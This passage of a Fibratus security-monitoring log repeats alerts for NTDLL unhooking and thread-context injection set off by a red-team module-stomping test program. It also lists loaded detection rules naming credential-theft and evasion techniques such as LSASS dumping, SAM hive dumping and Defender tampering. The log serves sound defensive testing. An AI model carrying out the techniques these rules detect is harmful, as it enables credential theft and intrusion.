the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:50.2392408 +0100 CET + Params: base_address➜ 18316960000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 16572, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 1762874179608137404, rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 16572 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1743183 + Pid: 16572 + Tid: 8464 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:50.2392408 +0100 CET + Params: base_address➜ 18316960000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 16572, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 1762874179608137404, rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005 + + Pid: 16572 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:12:50+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1743183 + Pid: 16572 + Tid: 8464 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:50.2392408 +0100 CET + Params: base_address➜ 18316960000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 16572, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 1762874179608137404, rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005 + + Pid: 16572 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1743183 + Pid: 16572 + Tid: 8464 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:50.2392408 +0100 CET + Params: base_address➜ 18316960000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 16572, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 1762874179608137404, rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005 + + Pid: 16572 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:12:51+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1746732 + Pid: 15948 + Tid: 18976 + Type: SetThreadContext + CPU: 2 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 16:12:50.4140705 +0100 CET + Params: status➜ Success + Metadata: rule.name: Thread context set from unbacked memory, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 15948 + Ppid: 17996 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\module-stomping" "--pswd=C:\Fibratus\redteam\module-stomping" "--execution-time=95.4026" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\module-stomping" "--pswd=C:\Fibratus\redteam\module-stomping" "--execution-time=95.4026" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:13:04+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1750212 + Pid: 15396 + Tid: 13536 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:13:02.7577624 +0100 CET + Params: base_address➜ 14fd83f0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 15396, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: tactic.name: Defense Evasion, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, rule.seq.link: 1762874196421377772, rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005 + + Pid: 15396 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1750212 + Pid: 15396 + Tid: 13536 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:13:02.7577624 +0100 CET + Params: base_address➜ 14fd83f0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 15396, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, rule.seq.link: 1762874196421377772, rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 15396 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:13:04+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1750212 + Pid: 15396 + Tid: 13536 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:13:02.7577624 +0100 CET + Params: base_address➜ 14fd83f0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 15396, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.seq.link: 1762874196421377772, rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005, tactic.name: Defense Evasion, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 15396 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1750212 + Pid: 15396 + Tid: 13536 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:13:02.7577624 +0100 CET + Params: base_address➜ 14fd83f0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 15396, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005, tactic.name: Defense Evasion, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, rule.seq.link: 1762874196421377772 + + Pid: 15396 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:13:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T16:13:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:13:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:16:48+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from 